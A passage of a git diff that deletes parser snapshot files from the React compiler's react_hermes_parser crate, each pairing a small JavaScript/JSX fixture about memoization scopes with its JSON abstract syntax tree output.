-                  "generator": true,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    218,
-                    268
-                  ],
-                  "expression": true,
-                  "loc": null,
-                  "range": [
-                    218,
-                    268
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  207,
-                  268
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              201,
-              269
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useOtherHook",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  273,
-                  285
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                273,
-                287
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              273,
-              288
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    388,
-                    389
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    392,
-                    394
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  388,
-                  394
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              382,
-              395
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  398,
-                  401
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    402,
-                    403
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    405,
-                    413
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                398,
-                414
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              398,
-              415
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                425,
-                426
-              ]
-            },
-            "loc": null,
-            "range": [
-              418,
-              427
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          429
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        429
-      ],
-      "loc": null,
-      "range": [
-        0,
-        429
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    429
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@independent-across-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@independent-across-if.js.snap
deleted file mode 100644
index 9f07608dbf4c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@independent-across-if.js.snap
+++ /dev/null
@@ -1,625 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/independent-across-if.js
----
-Input:
-function compute() {}
-function mutate() {}
-function foo() {}
-function Foo() {}
-
-/**
- * Should produce 3 scopes:
- *
- * a: inputs=props.a & props.c; outputs=a
- *   a = compute(props.a);
- *   if (props.c)
- *     mutate(a)
- * b: inputs=props.b & props.c; outputs=b
- *   b = compute(props.b);
- *   if (props.c)
- *     mutate(b)
- * return: inputs=a, b outputs=return
- *   return = <Foo a={a} b={b} />
- */
-function Component(props) {
-  const a = compute(props.a);
-  const b = compute(props.b);
-  if (props.c) {
-    mutate(a);
-    mutate(b);
-  }
-  return <Foo a={a} b={b} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "compute",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          16
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          19,
-          21
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        21
-      ],
-      "loc": null,
-      "range": [
-        0,
-        21
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "mutate",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          31,
-          37
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          40,
-          42
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        22,
-        42
-      ],
-      "loc": null,
-      "range": [
-        22,
-        42
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          52,
-          55
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          58,
-          60
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        43,
-        60
-      ],
-      "loc": null,
-      "range": [
-        43,
-        60
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          70,
-          73
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          76,
-          78
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        61,
-        78
-      ],
-      "loc": null,
-      "range": [
-        61,
-        78
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          408,
-          417
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            418,
-            423
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    435,
-                    436
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "compute",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      439,
-                      446
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          447,
-                          452
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          453,
-                          454
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        447,
-                        454
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    439,
-                    455
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  435,
-                  455
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              429,
-              456
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    465,
-                    466
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "compute",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      469,
-                      476
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          477,
-                          482
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          483,
-                          484
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        477,
-                        484
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    469,
-                    485
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  465,
-                  485
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              459,
-              486
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  493,
-                  498
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  499,
-                  500
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                493,
-                500
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "mutate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        508,
-                        514
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          515,
-                          516
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      508,
-                      517
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    508,
-                    518
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "mutate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        523,
-                        529
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          530,
-                          531
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      523,
-                      532
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    523,
-                    533
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                502,
-                537
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              489,
-              537
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    548,
-                    551
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": null,
-                      "range": [
-                        552,
-                        553
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          555,
-                          556
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        554,
-                        557
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      552,
-                      557
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "b",
-                      "loc": null,
-                      "range": [
-                        558,
-                        559
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          561,
-                          562
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        560,
-                        563
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      558,
-                      563
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  547,
-                  566
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                547,
-                566
-              ]
-            },
-            "loc": null,
-            "range": [
-              540,
-              567
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          425,
-          569
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        399,
-        569
-      ],
-      "loc": null,
-      "range": [
-        399,
-        569
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    569
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@independent.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@independent.js.snap
deleted file mode 100644
index 500f9269950f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@independent.js.snap
+++ /dev/null
@@ -1,455 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/independent.js
----
-Input:
-/**
- * Should produce 3 scopes:
- *
- * a: inputs=props.a, outputs=a
- *   a = compute(props.a);
- * b: inputs=props.b, outputs=b
- *   b = compute(props.b);
- * return: inputs=a, b outputs=return
- *   return = <Foo a={a} b={b} />
- */
-function Component(props) {
-  const a = compute(props.a);
-  const b = compute(props.b);
-  return <Foo a={a} b={b} />;
-}
-
-function compute() {}
-function foo() {}
-function Foo() {}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          238,
-          247
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            248,
-            253
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    265,
-                    266
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "compute",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      269,
-                      276
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          277,
-                          282
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          283,
-                          284
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        277,
-                        284
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    269,
-                    285
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  265,
-                  285
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              259,
-              286
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    295,
-                    296
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "compute",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      299,
-                      306
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          307,
-                          312
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          313,
-                          314
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        307,
-                        314
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    299,
-                    315
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  295,
-                  315
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              289,
-              316
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    327,
-                    330
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": null,
-                      "range": [
-                        331,
-                        332
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          334,
-                          335
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        333,
-                        336
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      331,
-                      336
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "b",
-                      "loc": null,
-                      "range": [
-                        337,
-                        338
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          340,
-                          341
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        339,
-                        342
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      337,
-                      342
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  326,
-                  345
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                326,
-                345
-              ]
-            },
-            "loc": null,
-            "range": [
-              319,
-              346
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          255,
-          348
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        229,
-        348
-      ],
-      "loc": null,
-      "range": [
-        229,
-        348
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "compute",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          359,
-          366
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          369,
-          371
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        350,
-        371
-      ],
-      "loc": null,
-      "range": [
-        350,
-        371
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          381,
-          384
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          387,
-          389
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        372,
-        389
-      ],
-      "loc": null,
-      "range": [
-        372,
-        389
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          399,
-          402
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          405,
-          407
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        390,
-        407
-      ],
-      "loc": null,
-      "range": [
-        390,
-        407
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    229,
-    407
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@independently-memoize-object-property.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@independently-memoize-object-property.js.snap
deleted file mode 100644
index ff5691c5d9d8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@independently-memoize-object-property.js.snap
+++ /dev/null
@@ -1,260 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/independently-memoize-object-property.js
----
-Input:
-function foo(a, b, c) {
-  const x = { a: a };
-  // NOTE: this array should memoize independently from x, w only b,c as deps
-  x.y = [b, c];
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    32,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          38,
-                          39
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          42
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        38,
-                        42
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    44
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  32,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              45
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    126,
-                    127
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    128,
-                    129
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  126,
-                  129
-                ]
-              },
-              "right": {
-                "type": "ArrayExpression",
-                "elements": [
-                  {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      133,
-                      134
-                    ]
-                  },
-                  {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      136,
-                      137
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  132,
-                  138
-                ]
-              },
-              "loc": null,
-              "range": [
-                126,
-                138
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              126,
-              139
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                150,
-                151
-              ]
-            },
-            "loc": null,
-            "range": [
-              143,
-              152
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          154
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        154
-      ],
-      "loc": null,
-      "range": [
-        0,
-        154
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    154
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-computed-delete.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-computed-delete.js.snap
deleted file mode 100644
index 8e5c2897e0f9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-computed-delete.js.snap
+++ /dev/null
@@ -1,226 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/infer-computed-delete.js
----
-Input:
-// @debug
-function Component(props) {
-  const x = makeObject();
-  const y = delete x[props.value];
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          19,
-          28
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            29,
-            34
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    46,
-                    47
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      50,
-                      60
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    50,
-                    62
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  46,
-                  62
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              40,
-              63
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    72,
-                    73
-                  ]
-                },
-                "init": {
-                  "type": "UnaryExpression",
-                  "operator": "delete",
-                  "prefix": true,
-                  "argument": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        83,
-                        84
-                      ]
-                    },
-                    "property": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          85,
-                          90
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "value",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          91,
-                          96
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        85,
-                        96
-                      ]
-                    },
-                    "computed": true,
-                    "loc": null,
-                    "range": [
-                      83,
-                      97
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    76,
-                    97
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  72,
-                  97
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              66,
-              98
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                108,
-                109
-              ]
-            },
-            "loc": null,
-            "range": [
-              101,
-              110
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          36,
-          112
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        10,
-        112
-      ],
-      "loc": null,
-      "range": [
-        10,
-        112
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    10,
-    112
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-global-object.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-global-object.js.snap
deleted file mode 100644
index 29da25c837bb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@infer-global-object.js.snap
+++ /dev/null
@@ -1,554 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/infer-global-object.js
----
-Input:
-// Check that we correctly resolve type and effect lookups on the javascript
-// global object.
-function Component(props) {
-  let neverAliasedOrMutated = foo(props.b);
-  let primitiveVal1 = Math.max(props.a, neverAliasedOrMutated);
-  let primitiveVal2 = Infinity;
-  let primitiveVal3 = globaThis.globalThis.NaN;
-
-  // Even though we don't know the function signature of foo,
-  // we should be able to infer that it does not mutate its inputs.
